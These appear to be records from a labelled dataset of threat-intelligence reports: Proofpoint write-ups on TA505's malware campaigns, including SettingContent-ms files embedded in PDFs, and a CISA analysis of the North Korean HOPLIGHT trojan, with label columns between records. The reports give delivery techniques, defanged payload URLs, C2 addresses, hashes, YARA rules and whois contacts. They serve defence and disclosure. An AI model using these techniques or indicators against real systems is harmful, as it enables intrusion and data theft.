supported in Microsoft Windows and require the installation of 7-Zip software; recipients also needed to execute the VBScript after installing 7-Zip and decompressing the attachments. While this combination of files is somewhat unusual for attachment campaigns and requires more user interaction than many, most researchers expect that TA505 was using new vectors to bypass protections put in place by organizations saturated with Locky-bearing messages over the previous year. Geo-targeted Locky and The Trick - October On October 10, TA505 introduced their first geo-targeted campaign dropping either Locky or The Trick banking Trojan. In this campaign, HTML files were attached to emails inquiring about the status of an invoice. When users opened the HTML attachments to view the fake invoice, embedded JavaScript downloaded The Trick banking Trojan with gtag ""mac1"" if the victim appeared to reside in the UK, Australia, Luxembourg, Ireland, or Belgium. All other victims received Locky (Affid=3 with file extension \xe2\x80\x9c.ykcol\xe2\x80\x9d). Figure 1: Lure email with .html attachment, October 10, 2017 Figure 2: .html attachment with JavaScript that downloads the final payload, October 10, 2017 TA505 sent several similar campaigns in mid-October with VBScript compressed in 7-Zip files that also downloaded either Locky or The Trick. By late October, the actor switched to Microsoft Word attachments that abused Dynamic Data Exchange (DDE) to download either Locky or Locky and The Trick in several more geo-targeted campaigns. This was the first time that we observed TA505 abusing DDE, a legitimate feature in Microsoft Office that became a regular part of multiple threat actors\xe2\x80\x99 toolkits in Q4 2017. Recipients of these emails, which also used simple lures with attached fake invoices, needed to open the Microsoft Word attachments and click through a security dialog (Figure 3) to download the malware. Figure 3: DDE confirmation associated with late-October campaigns Embedded .lnk and .vbs - November On October 31, TA505 sent two campaigns, both using .lnk files embedded in Microsoft Word documents. As shown in Figure 4, recipients must open the attached Word document, enable editing, and then execute the .lnk file by double clicking an image in the document. They must further confirm that they want to open the .lnk file (Figure 5), which, in turn, downloads an intermediate downloader. This downloader then downloads either Locky or The Trick depending on location. Despite the number of steps involved, TA505 relies on light social engineering in the email and lure as well as end user conditioning to proceed through the scheme and infect their PC with malware. Figure 4: Microsoft Word document with embedded malicious .lnk file, October 31, 2017 Figure 5: Security dialog for embedded .lnk file Through November 9, TA505 distributed several such campaigns, sometimes two per day, largely distributing Locky. Activity for the rest of November was light, featuring only five more campaigns using embedded Visual Basic scripts in Word documents or VB Script in 7-Zip attachments to distribute The Trick, Dridex, Scarab ransomware, and GlobeImposter ransomware. GlobeImposter - December December saw yet another shift in payloads for TA505. Of the 34 campaigns the group sent in a month that was extremely active even by TA505 standards, 24 were distributing GlobeImposter ransomware. Like The Trick banking Trojan, GlobeImposter was a relatively low-profile, regionally focused malware strain that became a global threat when TA505 began distributing it in massive campaigns. The majority of these campaigns used malicious VBScript or JavaScript compressed in 7-Zip attachments. The remaining ten campaigns in December distributed a range of malware including The Trick, the DreamSmasher reconnaissance tool, and Dridex. Shifting to low-volume campaigns - January/February 2018 TA505 has typically taken some time to resume full operations after the Russian Orthodox holidays. The group is also heavily reliant on the Necurs botnet for its massive campaigns and its operators of the botnet appear to have lost control of the botnet for much of January and February. However, in previous years, Necurs disruptions resulted in complete silence from TA505. This year, the group remained active, though campaign frequency and volume were a tiny fraction of their peaks in 2017 during this period. Rather, TA505 appeared to once again be exploring new payloads and vectors. We observed the actor send two large pharmaceutical spam campaigns via BlackTDS in February, a highly unusual move for a group focused on malicious attachments since at least 2014. We have also observed smaller campaigns distributing GandCrab ransomware, DreamSmasher, Dridex, and Quant Loader. The slow return of Necurs-powered large campaigns - March 2018 to present Beginning in March, TA505 launched several large campaigns, again utilizing the Necurs sending infrastructure, albeit much less frequently than in 2017. Campaigns in March and April largely delivered the FlawedAmmyy remote access Trojan (RAT), often via the intermediate Quant Loader malware. Attachments in these campaigns were frequently Zip archives containing "".url"" files which, if opened and allowed by the user, downloaded Javascript via the SMB protocol. The Javascript then downloaded Quant Loader, which, in turn downloaded the FlawedAmmyy RAT. RATs are generally used in targeted attacks, begging the question how a threat actor distributing large-scale malicious spam might use such a tool. We observed a handful of TA505 campaigns delivering FlawedAmmyy in late April and May, with the most recent occurring on June 7. While the frequency of these campaigns remains off from their normal cadence and message volumes still have not returned to 2017 levels, the trend of shifting vectors and experimentation with new techniques continues. The last two campaigns we observed from TA505 made use of .iqy attachments -- Microsoft Excel Web Query files are used to pull external data into Excel and, in these cases, the functionality was abused to download FlawedAmmyy. Conclusion Over the past four years, TA505 has introduced both Dridex and Locky to the threat landscape in relentless, massive email campaigns. The group also turned smaller targeted or regionally-focused malware like The Trick, GlobeImposter, and FlawedAmmyy into global phenomena. TA505 regularly changes vectors, shifts payloads, and experiments with new techniques, all apparently to bypass defenses and deliver payloads from bankers to RATs, often at a scale unmatched by other high-profile actors. Their recent foray into large-scale distribution of RATs and intermediate loaders bears further observation as, unlike with Locky or GlobeImposter infections, victims may not realize they are infected until the group triggers additional malware installations or steals valuable data. The group\xe2\x80\x99s willingness to explore new vectors, payloads, sending infrastructure, and other malicious services like BlackTDS, even when they do not have access to the Necurs spam cannon, exemplifies the adaptability of modern threat actors. About Overview Why Proofpoint Careers Leadership Team News Center Investors Center Threat Center Latest Threat Report Human Factor Report Threat Glossary Threat Blog Daily Ruleset Products Email Protection Advanced Threat Protection Security Awareness Training Cloud App Security Archive & Compliance Information Protection Digital Risk Protection Product Bundles Nexus Platform Resources Whitepapers Webinars Datasheets Events Customer Stories Blog Free Trial Connect +1-408-517-4710 Contact Us Office Locations Request a Demo Support Support Login Support Services IP Address Blocked? Social List Facebook Twitter linkedin Youtube Regions United States United Kingdom France Germany Italy Spain Japan Australia \xc2\xa9 2019. All rights reserved. Terms and conditions Privacy Policy Sitemap \xc2","0","1","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0" -"proofpoint Products Solutions Partners Resources Company LOGIN CONTACT Blog Threat Insight TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT JULY 19, 2018 PROOFPOINT STAFF Overview Threat actors regularly introduce novel vectors for distributing malware and especially prize those that allow code and command execution with minimal user interaction. Colleagues at SpecterOps recently published research[1] on abuse of the SettingContent-ms file format. Crafted SettingContent-ms files can be used to bypass certain Windows 10 defenses such as Attack Surface Reduction (ASR) and detection of OLE-embedded dangerous file formats. Specifically, this file format currently allows execution of commands such as cmd.exe and PowerShell without prompts or user interaction. Since the original publication of this approach, Proofpoint researchers have observed a number of actors -- \xe2\x80\x9cearly adopters\xe2\x80\x9d -- abusing this file format by embedding it inside Microsoft Word and PDF documents. While the combination of the technique with the Microsoft Word container was described in the initial research, embedding inside PDFs has not been documented and likely originated with another source. Campaign Description We first observed an actor embedding SettingContent-ms inside a PDF on June 18. However, on July 16 we observed a particularly large campaign with hundreds of thousands of messages attempting to deliver PDF attachments with an embedded SettingContent-ms file. The messages in the campaign used a simple lure asking the user to open the attached PDF (Figure 1). Figure 1: Example message used to deliver the malicious PDF When opened, Adobe Reader displays a warning prompt, asking the user if they want to open the file, since it is attempting to run the embedded \xe2\x80\x9cdownl.SettingContent-ms\xe2\x80\x9d via JavaScript. Note that this prompt would be displayed for any file format embedded within a PDF, and is not caused by the SettingContent-ms file itself (Figure 2). Figure 2: Adobe Reader presenting the user with a prompt to open the SettingContent-ms file If the intended victim clicks the \xe2\x80\x9cOK\xe2\x80\x9d prompt to open the file, Windows would then run the SettingContent-ms file and the PowerShell command contained within the \xe2\x80\x9cDeepLink\xe2\x80\x9d element (Figure 3), which leads to the download and execution of the FlawedAmmyy RAT. Figure 3: The SettingContent-ms file that contains the malicious PowerShell command Attribution This campaign is noteworthy because we attribute it with high confidence to a financially motivated actor we refer to as TA505 [3,4]. TA505 tends to operate at very large scale and sets trends among financially motivated actors because of their reach and campaign volumes. Our attribution is based on email messages, as well as payload and other identifying characteristics. Conclusion Whether well established (like TA505) or newer to the space, attackers are quick to adopt new techniques and approaches when malware authors and researchers publish new proofs of concept. While not all new approaches gain traction, some may become regular elements through which threat actors rotate as they seek new means of distributing malware or stealing credentials for financial gain. In this case, we see TA505 acting as an early adopter, adapting the abuse of SettingContent-ms files to a PDF-based attack delivered at significant scale. We will continue to monitor ways in which threat actors use this approach in the weeks to come. References [1] https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 [2] https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat [3] https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter [4] https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times Indicators of Compromise (IOCs) IOC IOC Type Description 0a4f3f9acc61b85183108a31a306115fe34b571240da70920f0a1425fc32c3de SHA256 PDF Attachment 61b1dc4d69730dd83f7ef38dd01012fd3487a4db9eb52b024209967093ae180d SHA256 FlawedAmmyy Loader 56f1ab4b108cafcbada89f5ca52ed7cdaf51c6da0368a08830ca8e590d793498 SHA256 FlawedAmmyy RAT hxxp://169.239.128[.]164/tov URL URL used to download FlawedAmmyy Loader hxxp://169.239.128[.]164/sd87f67ds5gs7d5fs7df URL URL used to download the 2nd Stage FlawedAmmyy RAT 169.239.128[.]150:443 IP + Port FlawedAmmyy RAT C&C ET and ETPRO Suricata/Snort/ClamAV Signatures 2025408 || ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin About Overview Why Proofpoint Careers Leadership Team News Center Investors Center Threat Center Latest Threat Report Human Factor Report Threat Glossary Threat Blog Daily Ruleset Products Email Protection Advanced Threat Protection Security Awareness Training Cloud App Security Archive & Compliance Information Protection Digital Risk Protection Product Bundles Nexus Platform Resources Whitepapers Webinars Datasheets Events Customer Stories Blog Free Trial Connect +1-408-517-4710 Contact Us Office Locations Request a Demo Support Support Login Support Services IP Address Blocked? Facebook Twitter linkedin Youtube United States United Kingdom France Germany Italy Spain Japan Australia \xc2\xa9 2019. All rights reserved. Terms and conditions Privacy Policy Sitemap","0","1","0","0","0","1","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0" -"Skip to main content Toggle navigation US Department of Homeland Security CISA Cyber + Infrastructure National Cyber Awareness System Analysis Reports MAR-10135536-8 \xe2\x80\x93 North Korean Trojan: HOPLIGHT More Analysis Reports Malware Analysis Report (AR19-100A) MAR-10135536-8 \xe2\x80\x93 North Korean Trojan: HOPLIGHT Original release date: April 10, 2019 Print Document Tweet Like Me Share Notification This report is provided ""as is"" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. The DHS does not endorse any commercial product or service, referenced in this bulletin or otherwise. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp. Summary Description This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant has been identified as HOPLIGHT. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https://www.us-cert.gov/hiddencobra. DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity. This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware and report the activity to the Cybersecurity and Infrastructure Security Agency (CISA) or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. This report provides analysis of nine malicious executable files. Seven of these files are proxy applications that mask traffic between the malware and the remote operators. The proxies have the ability to generate fake TLS handshake sessions using valid public SSL certificates, disguising network connections with remote malicious actors. One file contains a public SSL certificate and the payload of the file appears to be encoded with a password or key. The remaining file does not contain any of the public SSL certificates, but attempts outbound connections and drops four files. The dropped files primarily contain IP addresses and SSL certificates. For a downloadable copy of IOCs, see: MAR-10135536-8.stix Submitted Files (9) 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461 (23E27E5482E3F55BF828DAB8855690...) 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d (868036E102DF4CE414B0E6700825B3...) 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 (5C3898AC7670DA30CF0B22075F3E8E...) 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 (42682D4A78FE5C2EDA988185A34463...) 4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818 (C5DC53A540ABE95E02008A04A0D56D...) 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 (61E3571B8D9B2E9CCFADC3DDE10FB6...) 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a (3021B9EF74c&BDDF59656A035F94FD...) d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 (F8D26F2B8DD2AC4889597E1F2FD1F2...) ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d (BE588CD29B9DC6F8CFC4D0AA5E5C79...) Additional Files (4) 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 (rdpproto.dll) 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 (udbcgiut.dat) 96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7 (MSDFMAPI.INI) cd5ff67ff773cc60c98c35f9e9d514b597cbd148789547ba152ba67bfc0fec8f (UDPTrcSvc.dll) IPs (15) 112.175.92.57 113.114.117.122 128.200.115.228 137.139.135.151 181.39.135.126 186.169.2.237 197.211.212.59 21.252.107.198 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 Findings 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461 Tags trojan Details Name 23E27E5482E3F55BF828DAB885569033 Size 242688 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 23e27e5482e3f55bf828dab885569033 SHA1 139b25e1ae32a8768238935a8c878bfbe2f89ef4 SHA256 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461 SHA512 2c481ef42dfc9a7a30575293d09a6f81943e307836ec5b8a346354ab5832c15046dd4015a65201311e33f944763fc55dd44fbe390245be5be7a216026ecfb28b ssdeep 6144:YnDlYMzUvLFOL9wqk6+pqC8iooIBgajvQlm/Z0cp1:alYiXiooIKajvQeZ3 Entropy 6.537337 Antivirus ESET a variant of Win32/NukeSped.AI trojan Symantec Heur.AdvML.B Yara Rules hidden_cobra_consolidated.yara rule crypt_constants_2 { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule lsfr_constants { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule polarSSL_servernames { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $polarSSL = ""fjiejffndxklfsdkfjsaadiepwn"" $sn1 = ""www.google.com"" $sn2 = ""www.naver.com"" condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) -- 0x4550) and ($polarSSL and 1 of ($sn*)) } ssdeep Matches No matches found. PE Metadata Compile Date 2017-06-05 21:57:29-04:00 Import Hash ff390ec082b48263a3946814ea18ba46 PE Sections MD5 Name Raw Size Entropy c06924120c87e2cb79505e4ab0c2e192 header 1024 2.542817 3368eda2d5820605a055596c7c438f0f .text 197120 6.441545 ec1f06839fa9bc10ad8e183b6bf7c1b5 .rdata 27136 5.956914 1e62b7d9f7cc48162e0651f7de314c8a .data 8192 4.147893 980effd28a6c674865537f313318733a .rsrc 512 5.090362 696fd5cac6e744f336e8ab68a4708fcf .reloc 8704 5.247502 Packers/Compilers/Cryptors Microsoft Visual C++ ?.? Description This artifact is a malicious PE32 executable. When executed the malware will collect system information about the victim machine including OS Version, Volume Information, and System Time, as well as enumerate the system drives and partitions. The malware is capable of the following functions: ---Begin Malware Capability--- Read, Write, and Move Files Enumerate System Drives Create and Terminate Processes Inject into Running Processes Create, Start and Stop Services Modify Registry Settings Connect to a Remote Host Upload and Download Files ---End Malware Capability--- The malware is capable of opening and binding to a socket. The malware uses a public SSL certificate for secure communication. This certificate is from www.naver.com. Naver.com is the largest search engine in Korea and provides a variety of web services to clients around the world. ---Begin SSL Certificate Header--- 1 0 UNL10U PolarSSL10UPolarSSL Test CA0 110212144407Z 2102121144407Z0<1 0 UNL10U PolarSSL10UPolarSSL Client 200 ---End SSL Certificate Header--- When executed, the malware will attempt a TLS Handshake with one of four hardcoded IP addresses embedded in the malware. These IP addresses are referenced in 'udbcgiut.dat' below. The malware also contains an embedded Zlib compression library that appears to further obfuscate the communications payload. The following notable strings have been linked to the use of the SSL certificates and can be used to identify the malware: ---Begin Notable Strings--- fjiejffndxklfsdkfjsaadiepwn ofuierfsdkljffjoiejftyuir reykfgkodfgkfdskgdfogpdokgsdfpg ztretrtireotreotieroptkierert etudjfirejer yrty uiyy uiyiyj lildvucv erfdfe poiiumwq ---End Notable Strings--- The next four artifacts contain identical characteristics as those described above. Therefore, only capability that is unique will be described for the following four artifacts. 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 Tags trojan Details Name 5C3898AC7670DA30CF0B22075F3E8ED6 Size 221184 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 5c3898ac7670da30cf0b22075f3e8ed6 SHA1 91110c569a48b3ba92d771c5666a05781fdd6a57 SHA256 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 SHA512 700ec4d923cf0090f4428ac3d4d205b551c3e48368cf90d37f9831d8a57e73c73eb507d1731662321c723362c9318c3f019716991073dc9a4cc829ce01540337 ssdeep 3072:nKBzqEHcJw0sqz7vLFOLBAqui1mqLK1VaU9BzNRyHmdMaF0QqWN0Qjpthmu:nKg0cJ19z7vLFOLSqp0q7syHeFhnhm Entropy 6.346504 Antivirus ESET a variant of Win32/NukeSped.AI trojan Yara Rules hidden_cobra_consolidated.yara rule crypt_constants_2 { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule lsfr_constants { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule polarSSL_servernames { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $polarSSL = ""fjiejffndxklfsdkfjsaadiepwn"" $sn1 = ""www.google.com"" $sn2 = ""www.naver.com"" condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) -- 0x4550) and ($polarSSL and 1 of ($sn*)) } ssdeep Matches No matches found. PE Metadata Compile Date 2017-05-16 02:35:55-04:00 Import Hash 6ffc5804961e26c43256df683fea6922 PE Sections MD5 Name Raw Size Entropy adb596d3ceae66510778e3bf5d4d9582 header 4096 0.695660 6453931a0b6192e0bbd6476e736ca63f .text 184320 6.343388 0ba1433cc62ba7903ada2f1e57603e83 .rdata 16384 6.246206 76a08265777f68f08e5e6ed2102cb31d .data 12288 4.050945 cb8939d6bc1cd076acd850c3850bdf78 .rsrc 4096 3.289605 Packers/Compilers/Cryptors Microsoft Visual C++ v6.0 Relationships 2151c1977b... Connected_To 81.94.192.147 2151c1977b... Connected_To 112.175.92.57 2151c1977b... Related_To 181.39.135.126 2151c1977b... Related_To 197.211.212.59 2151c1977b... Related_To 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 2151c1977b... Dropped 96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7 Description This artifact is a malicious PE32 executable with similar characteristics of those described in 23E27E5482E3F55BF828DAB885569033 above. When this artifact is executed, it will write the file 'udbcgiut.dat' to C:\\Users\\\\AppData\\Local\\Temp. The malware will then attempt outbound SSL connections to 81.94.192.147 and 112.175.92.57. Both connection attempts are over TCP Port 443. The two IP addresses above, as well as the IP addresses 181.39.135.126 and 197.211.212.59 are hard-coded into the malware. However, only connections to the first two IP addresses were attempted during analysis. 197.211.212.59 Ports 7443 TCP Whois inetnum: 197.211.208.0 - 197.211.215.255 netname: ZOL-16e-MOBILE-CUSTOMERS descr: ZOL Customers on ZTE Mobile WiMAX Platform country: ZW admin-c: BS10-AFRINIC admin-c: GJ1-AFRINIC admin-c: JHM1-AFRINIC tech-c: BS10-AFRINIC tech-c: GJ1-AFRINIC tech-c: JHM1-AFRINIC status: ASSIGNED PA mnt-by: LIQUID-TOL-MNT source: AFRINIC # Filtered parent: 197.211.192.0 - 197.211.255.255 person: B Siwela address: 3rd Floor Greenbridge South address: Eastgate Center address: R. Mugabe Road address: Harare address: Zimbabwe phone: +263774673452 fax-no: +2634702375 nic-hdl: BS10-AFRINIC mnt-by: GENERATED-DVCNVXWBH3VN3XZXTRPHOT0OJ77GUNN3-MNT source: AFRINIC # Filtered person: G Jaya address: 3rd Floor Greenbridge South address: Eastgate Center address: R. Mugabe Road address: Harare address: Zimbabwe phone: +263773373135 fax-no: +2634702375 nic-hdl: GJ1-AFRINIC mnt-by: GENERATED-QPEEUIPPW1WPRZ5HLHRXAVHDOKWLC9UC-MNT source: AFRINIC # Filtered person: John H Mwangi address: Liquid Telecom Kenya address: P.O.Box 62499 - 00200 address: Nairobi Kenya address: Nairobi, Kenya address: Kenya phone: + 254 20 556 755 Relationships 197.211.212.59 Related_To 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 197.211.212.59 Connected_From ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 197.211.212.59 Connected_From 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 Description This IP address is listed in the file 'udbcgiut.dat'. Outbound SSL connection attempts are made to this IP by Malware2.exe, Malware3.exe, and Malware5.exe. The domain, zol-ad-bdc.zol.co.zw is associated with the IP address, however, no DNS query is made for the name. 181.39.135.126 Ports 7443 TCP Whois inetnum: 181.39.135.120/29 status: reallocated owner: Clientes Guayaquil ownerid: EC-CLGU1-LACNIC responsible: Tomislav Topic address: Kennedy Norte Mz. 109 Solar 21, 5, Piso 2 address: 5934 - Guayaquil - GY country: EC phone: +593 4 2680555 [101] owner-c: SEL tech-c: SEL abuse-c: SEL created: 20160720 changed: 20160720 inetnum-up: 181.39/16 nic-hdl: SEL person: Carlos Montero e-mail: networking@TELCONET.EC address: Kennedy Norte MZ, 109, Solar 21 address: 59342 - Guayaquil - country: EC phone: +593 42680555 [4601] created: 20021004 changed: 20170323 Relationships 181.39.135.126 Related_To 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 181.39.135.126 Connected_From ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 181.39.135.126 Connected_From 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 Description This IP address is listed in the file 'udbcgiut.dat'. Outbound SSL connection attempts are made to this IP by Malware2.exe, Malware3.exe, and Malware5.exe. No domain is associated with the IP address. 112.175.92.57 Ports 443 TCP Whois inetnum: 112.160.0.0 - 112.191.255.255 netname: KORNET descr: Korea Telecom admin-c: IM667-AP tech-c: IM667-AP country: KR status: ALLOCATED PORTABLE mnt-by: MNT-KRNIC-AP mnt-irt: IRT-KRNIC-KR last-modified: 2017-02-03T02:21:58Z source: APNIC irt: IRT-KRNIC-KR address: Seocho-ro 398, Seocho-gu, Seoul, Korea e-mail: hostmaster@nic.or.kr abuse-mailbox: hostmaster@nic.or.kr admin-c: IM574-AP tech-c: IM574-AP auth: # Filtered mnt-by: MNT-KRNIC-AP last-modified: 2017-10-19T07:36:36Z source: APNIC person: IP Manager address: Gyeonggi-do Bundang-gu, Seongnam-si Buljeong-ro 90 country: KR phone: +82-2-500-6630 e-mail: kornet_ip@kt.com nic-hdl: IM667-AP mnt-by: MNT-KRNIC-AP last-modified: 2017-03-28T06:37:04Z source: APNIC Relationships 112.175.92.57 Connected_From 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 112.175.92.57 Connected_From ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 112.175.92.57 Connected_From 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 112.175.92.57 Connected_From 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a Description This IP address is listed in the file 'udbcgiut.dat'. Outbound SSL connection attempts are made to this IP by Malware2.exe, Malware3.exe, and Malware5.exe. The domain, mail.everzone.co.kr is associated with the IP address, however, no DNS query is made for the name. 81.94.192.147 Ports 443 TCP Whois inetnum: 81.94.192.0 - 81.94.192.255 netname: IOMARTHOSTING descr: iomart Hosting Limited country: GB admin-c: RA1415-RIPE tech-c: RA1415-RIPE status: ASSIGNED PA remarks: ABUSE REPORTS: abuse@redstation.com mnt-by: REDSTATION-MNT mnt-domains: REDSTATION-MNT mnt-routes: REDSTATION-MNT created: 2016-02-14T11:44:25Z last-modified: 2016-02-14T11:44:25Z source: RIPE role: Redstation Admin Role address: Redstation Limited address: 2 Frater Gate Business Park address: Aerodrome Road address: Gosport address: Hampshire address: PO13 0GW address: UNITED KINGDOM abuse-mailbox: abuse@redstation.com e-mail: abuse@redstation.com nic-hdl: RA1415-RIPE mnt-by: REDSTATION-MNT created: 2005-04-22T17:34:33Z last-modified: 2017-05-02T09:47:13Z source: RIPE % Information related to '81.94.192.0/24AS20860' route: 81.94.192.0/24 descr: Wayne Dalton - Redstation Ltd origin: AS20860 mnt-by: GB10488-RIPE-MNT created: 2015-11-03T12:58:00Z last-modified: 2015-11-03T12:58:00Z source: RIPE Relationships 81.94.192.147 Connected_From 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 81.94.192.147 Connected_From ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 81.94.192.147 Connected_From 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 Description This IP address is listed in the file 'udbcgiut.dat'. Outbound SSL connection attempts are made to this IP by Malware2.exe, Malware3.exe, and Malware5.exe. No domain is associated with the IP address. 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 Details Name udbcgiut.dat Size 1171 bytes Type data MD5 ae829f55db0198a0a36b227addcdeeff SHA1 04833210fa57ea70a209520f4f2a99d049e537f2 SHA256 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 SHA512 1b4509102ac734ce310b6f8631b1bedd772a38582b4feda9fee09f1edd096006cf5ba528435c844effa97f95984b07bd2c111aa480bb22f4bcfbc751f069868d ssdeep 3:ElclFUl8GlFcmzkXIil23X1ll:ElcUXmQkXQ3 Entropy 0.395693 Antivirus No matches found. Yara Rules No matches found. ssdeep Matches No matches found. Relationships 70902623c9... Dropped_By 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 70902623c9... Related_To ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 70902623c9... 